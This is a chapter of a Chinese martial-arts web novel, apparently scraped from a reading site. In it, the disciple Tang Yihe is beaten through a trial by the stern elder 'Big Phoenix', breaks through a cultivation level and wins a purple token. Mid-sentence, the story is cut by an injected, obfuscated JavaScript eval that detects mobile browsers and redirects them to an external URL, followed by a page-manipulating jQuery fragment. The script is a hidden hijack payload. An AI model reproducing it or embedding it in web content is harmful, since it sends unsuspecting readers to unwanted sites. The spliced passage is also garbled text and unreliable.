其实这是唐楚玉给唐烈风的建议,因为秀云长老年轻时就是个颜控,就喜欢长得好看的男弟子,越好看、手越松。而唐楚玉给唐一禾的建议是——除了“大凤凰”,别人都无所谓,反正经部唐至青阁主,把能得罪的人都得罪光了,谁也不会给他的弟子好过。 听了这话,唐丽娟心里一咯噔,心想可是天真了,要是个男弟子,凭这个长相,确实能占点便宜,一个朝气蓬勃的小姑娘进去,决计讨不到什么巧。唐丽娟也不好直接劝阻,只是不轻不重地说:“嗯,一禾师妹还是可以多看看,早进去也未必是好事,有的大长老一开始手会比较紧。” “大长老们,都会如何考量呢?”唐一禾诚恳发问。 “每个大长老不一样,有的会让你打一套拳法或者剑法,有的会让你跟他的弟子对打,还有的,可能会亲自下场指点。”唐丽娟指了指后山腰的一个试炼室,“那里已经进去半个时辰了,还没出来呢,下面那间都出来四个了,不过只有一人拿了绿牌。” 唐一禾暗自咂舌,这些人怕是天没亮就来了。昨儿秀凤大长老也没说个准确时间,她自觉已经够早了,结果还是赶了个晚集。从报名台也可以非常直观地看出,有五个大长老的名牌前,排上了长长的队伍,另外四个名牌前,排队人数骤减。最边上的那个,空无一人,用脚趾头想想也知道是谁了。 太阳渐渐升高了,尽管试炼室走出了一个又一个的人,但唐一禾觉得身边等待的人丝毫没有减少,不由心下焦躁起来,脸上也开始滋滋冒油。 “哇!”人群中又发出一阵惊叹,原来是今天的第五块紫牌。 唐一禾突然想到唐楚玉的话,反正谁也不会给她好过,那还不如直接冲紫牌绝对没有被预定的“大凤凰”呢,大不了挨一顿打,还算有个奔头。想到这,唐一禾突然起身跳下山阶,朝着报名台上秀凤大长老的名牌走去,身后紧跟着一个脚步声,不用说是谁。 两人的这一举动,立马引发了一片喧哗,这次所有人包括唐楚玉,都有点傻眼——难道是昨天他还说得不够明白吗?唐一禾,唐一禾,真的是屁股后面插稻禾,存心要讨鸡啄吗? 但那不是鸡,是“大凤凰”啊! 坐在报名台后打盹的秀凤长老大徒弟,被一阵喧哗声吵醒,然后揉了揉眼睛,这是眼花了吗?跟前怎么会有两个排队的人?等看清楚那两个小傻帽,他简直要笑出了声,声音里透着浓浓的殷勤:“快请,快请,二位一起上去吧,秀凤长老的试炼室大得很,两人一起地方都管够,师傅他也不喜欢拖拖拉拉。” 他的下一句没说,师傅他老人家,最喜欢看弟子们抱头痛哭。 唐一禾在往山顶试炼室走的时候,确实有点后悔,主要是位置太高了,爬得有点累。这种后悔在看到“大凤凰”的脸时,到达了顶峰——他也没料到会有人来。 “经部的小家伙,不知天高地厚上来了。”秀凤大长老阴鸷的尖脸上浮现出一丝冷笑,“是没人跟你们说过吗?还是存心要看你们的笑话?现在下去还来得及。” 都爬上山顶了,自然没有下去的道理,唐一禾僵硬地扯出一丝微笑,恭敬地说:“都说您老人家为人公正,教导严厉……” “少给我戴高帽。”秀凤长老极不耐烦地打断,“你们俩谁先来?” “弟子先来。”沉默了一上午的唐烈风突然开口,走到秀凤长老面前,行礼起手。 秀凤长老鄙夷地看了一眼唐一禾,心道这代阁主跟代掌门一个德性,有事别人上,有桃他先摘,从来都是躲在后面见风使舵。殊不知唐一禾此时也是心中郁闷,从来师弟都等她先发话、再动手,她还想着如何再跟“大凤凰”套套近乎,师弟竟然一反常态抢了先。 哼,等回去后再收拾他。 秀凤长老当即也不废话,竖掌就朝唐烈风劈去,那就先拿这个俊俏的小子练手,后面再好好收拾那个奸滑的丫头。 唐一禾眼角一道黑色的残影掠过,然后是漫天飞舞的掌印,压住一条青色人影不断退后。“大凤凰”真是名不虚传,几息之间就让唐烈风以背抵墙,不能动弹。 “一开始不能全神贯注,还想着试探留手,找死吗?”秀凤长老缓缓收手,森寒地说。 果然强得离谱,唐一禾暗自心惊,想着还好是师弟先上,搁她上这会儿已经躺下了。嗯嗯,那这次就不怪他抢先了。 “弟子知错了,还请长老指点。”唐烈风气息暴涨,主动发起了攻击。 眼前是影影绰绰的招式残影,耳边是劲气收发带来的呼呼风声。约莫过了半柱香,唐一禾听到师弟闷哼一声,然后两道人影已经分开,后退三步的唐烈风嘴角留下一道血痕,胸膛正在剧烈起伏。 “果然英雄出少年!唐至青那货色,教不出来你这样的徒弟,你的师傅是谁?”“大凤凰”的脸色更加阴沉了,气息仍然平缓悠长。 “师傅他确实没有亲传亲授。”唐烈风已经缓过来一些,“教我功夫的人,是师姐。” “大凤凰”瞟了唐一禾一眼:“她的功夫远不及你,如何教得?” “弟子不敢虚言。我到宗门时就是师姐带着我,所有的功法心诀、以及招式拆解,都是师姐一个字、一个字教给我的。”唐烈风的声音平静无波,“包括识字读书,做人做事,也都是师姐教的。” “你们年岁相当,这么看来……”“大凤凰”脸色依然不好看,“只能说她早慧而无后劲。” 不是,你夸他,你踩我干嘛?唐一禾内心咆哮,谁说猫不能给老虎当师傅的?不过,当看到“大凤凰”从布袋子翻出一块紫牌,隔空扔给唐烈风后,唐一禾内心立马平静——与有荣焉,与有荣焉,那就不计较了。 “你小小年纪,就能练到第八层中期,还能悟出大道至简的道理,比我当年强多了。”“大凤凰”笑起来比哭还难看,他从怀里掏出一本册子扔了过去,“这是我多年修行的一些心得,拿去看吧,看完扔了烧了都行,反正这唐家堡上下,我是一个都看不上,你小子勉强算一个吧。” 唐烈风脸露喜色,恭恭敬敬地双手接过,小心放入怀中,然后又恭恭敬敬地跪地磕了三个响头,算是行了拜师大礼,感谢秀凤长老不吝传艺。 “到你了。”“大凤凰”对唐一禾虽有改观,但仍不感冒,“先打一套唐门八卦掌来看看。” “回长老,不会。”唐一禾小声回应,“师傅没教过。” “大凤凰”看了二人一眼,有些无语道:“耍一套辟邪剑法也行。” “只会几招,看别人用过,师傅也没教过。”唐一禾声音更小了。 “大凤凰”眉头紧锁:“唐至青那棒槌,也没教过你武功?” “师傅他老人家身体一直不太好,拳脚枪棍都没教过,但有教过释经明义。”唐一禾搜肠刮肚地回想,师傅除了让她去找大师兄,还教过点什么? “那是私塾秀才教的玩意儿,他识得几个字?笑死个人。”“大凤凰”明显不耐烦起来,“那你的功夫谁教的?都教了点什么?” 唐一禾想了想,实话实说:“司雅大师兄教的‘九转心经’心法口诀,还有一套灵蟒鞭法,然后让我自己看的《毒经》和《筋经》。” “大凤凰”薅了薅头发,头一回生出无力感:“你就学了点这个,然后还教出了他?我们这些老东西都可以去死了。”“大凤凰”搓了搓沟壑丛生的脸,“来吧,还是我陪你打一架吧。本来还想着,先用老办法折磨你一遍。” 这一架打得唐一禾痛不欲生。 “大凤凰”太贼了,每一拳、每一掌、每一肘、每一脚,都精准地打在唐一禾内息调转、起承转合的关节和筋骨上,疼得她眼泪四溅,哭爹喊娘,也深刻地理解了满山弟子面对“大凤凰”的感受。不过,疼归疼,哭归哭,架还是要打,而且不能白挨打,这是唐一禾的底线。 顷刻间已是涕泪横流的唐一禾暗下决心,就算咬碎钢牙、拼断手脚,也要把这场“讨打”尽量长地拖下去。因为“大凤凰”武艺如此高强,又不会真伤她性命,这种级别 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17539868|203360||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的现场教学课,一辈子都未必能碰上几回,这一场可是抵得过金章擂台十场。最关键的是——“大凤凰”的出招,实在太太太对唐一禾胃口了。 之前在帮师弟打“鬼夫”朗琅、帮高文璟打唐司南时,唐一禾都曾在一旁苦苦寻找出招的时机和角度。受眼力和经验不足,她往往蹲守了半天,才能偷得一招空隙,哪像“大凤凰”这般,每次闲庭信步般出手,都直奔着对手最难受的点而去。 又是“砰”的一声,唐一禾单膝跪地,她的半条腿都麻了,肩膀沉重得像压了千斤重担。唐一禾“嘶”了一声,将真气运转至极致,突然蹿起身朝“大凤凰”左腿踢去,同时腰身一拧,左右两招擒拿手,一虚一实探向“大凤凰”肩膀。 “大凤凰”见状只是“嗯”了一声,反手为鞭,直接甩在唐一禾腋下二寸麻筋上,同时飞起一脚,再次揣在唐一禾的膝盖窝里,将她在空中踢了个半圈,重重地摔在地上。 一旁的唐烈风不忍再看,闭上了双眼。 “这招真的太帅了,什么时候,我也能使出来就好了。”躺在地上的唐一禾,痛得只剩下这一个念头。她强行收住四下散逸的气息,再次运转真气翻身跳起,喊出的声音都在发抖,“再来。” 秀凤大长老考量宗门弟子武艺这么多年,不管什么出身,也不管武艺高低,来了就必须打服打哭,但被打得满头满脸都是鼻涕泡儿的,也不算太多,面前这个论凄惨样,能排到前三,但竟还有气力喊再来,看来还能再扛上几轮。 秀凤大长老决定不收手,要彻底把这个小丫头打哑巴。 又过得一阵,唐一禾半边脸都肿了,浑身上下都似要散了架,但“大凤凰”的出招似乎有迹可循了,而且好像也能看清来势了。唐一禾暗运气力于左手,突然迸发气势飞踢三脚,然后学着“大凤凰”的招式,悄无声息地偷袭成功——一掌推在了“大凤凰”的后肩。 秀凤大长老借势抓住唐一禾左手,抡圆了胳膊将她再次重重地掼在地上,然后扭头看向自己的右后肩——虽然偏得多了点,终究路数对了,这堂课也算是没白教。 以“大凤凰”的眼力,何尝没看出唐一禾在偷师?但一开始他是半分都没放在心上的,觉得小丫头片子异想天开,这么容易能学会,老头子几十年的功夫都白练了。 揍得她一阵,“大凤凰”才慎重起来,觉得这小丫头有点意思,骨子里有股子韧劲儿,很是能扛揍,最突出的莫过于脑子好使,属于那种敲敲头顶,脚底下都能发出声响来的。她的融会贯通之能,在他试炼过的上千名弟子中,也是首屈一指的。 等再打得一阵,想到她能教出来他见过最天才的少年,“大凤凰”心想——搞不好她还真能学会。 果不其然,最后这一招,算得上出师了。 “秀凤长老,我师姐她,她怎么了?”耳边传来少年焦急的声音。 “大凤凰”扭头看向地上的唐一禾,只见她浑身轻颤,牙关紧咬,脸色青红变换,四散的真气游走不定,眼神中全是不可置信:“这是要突破了?” “这般机缘巧合,那老夫助你一臂之力,哈哈哈哈……”“大凤凰”第一次开怀大笑起来,“快将你师姐扶起,盘腿坐好,五心向上,你抵住她后背。” 唐烈风刚手忙脚乱地将师姐摆正坐好,就见秀凤大长老一指点在师姐气海上。随着师姐额头冒出了丝丝热气,她的身体终于不再颤动,脸色也慢慢白了下来。突然间,师姐浑身气势猛得向上一窜,一股磅礴之力向外散出。 “成了。”“大凤凰”收手站起,坐回太师椅上,脸上满是喜色,一扫之前的阴鸷。 唐一禾打坐了片刻,将真气在四筋八脉中推了三圈,最终缓缓落回到气海之中,才睁开眼站起身来,毕恭毕敬地朝“大凤凰”行礼:“多谢秀凤大长老援手。” “你在第六层停了几年了?”“大凤凰”喝了一口茶水,恢复了往日的阴沉。 “两年多了。”唐一禾终于来到了朝思暮想的第七层,喜不自禁地回答,她觉得现在浑身充满了劲气,一拳能打死一头牛。 “我收回之前,说你后劲不足的评语。”“大凤凰”一捋长须,轻哼了一声,“多少长老终其一生,也只能在第六层打转。你我有缘,不必谢了,你们可以走了。” 唐一禾的笑容僵在了脸上,因为她看到“大凤凰”从布袋子里掏出了一块白色的木牌。 白色?怎么会是白色?最低一等的白色?师弟拿紫色,她拿白色,以后还要不要做人?“大凤凰”你虽然助我突破,也请你做个人! 不过“大凤凰”没有让唐一禾惊怒太久,他走出门吩咐了门外的弟子几声,然后握着白色的木牌又坐了回来。过得一会儿,一名弟子端着一支笔和一碟紫色的颜料进来了,然后唐一禾赫然看到“大凤凰”在给白色木牌上色。 “所,所以,所以您,您是打算给,给我紫色的木牌?”唐一禾少见地结巴了。 “大凤凰”专心致志地上色,头也不抬地说:“谁定的狗屁规定,只给我们一人一块紫色木牌,我非要给两块,看谁敢放屁。” 唐一禾第一次觉得,“大凤凰”那张老脸都变得英俊起来:“谢谢我秀凤大长老,您真的是最公正无私,慧眼……” “少给我戴高帽。”“大凤凰”仍旧毫不留情地打断,将涂好的紫牌朝唐一禾一抛,“拿上你的牌子,滚。”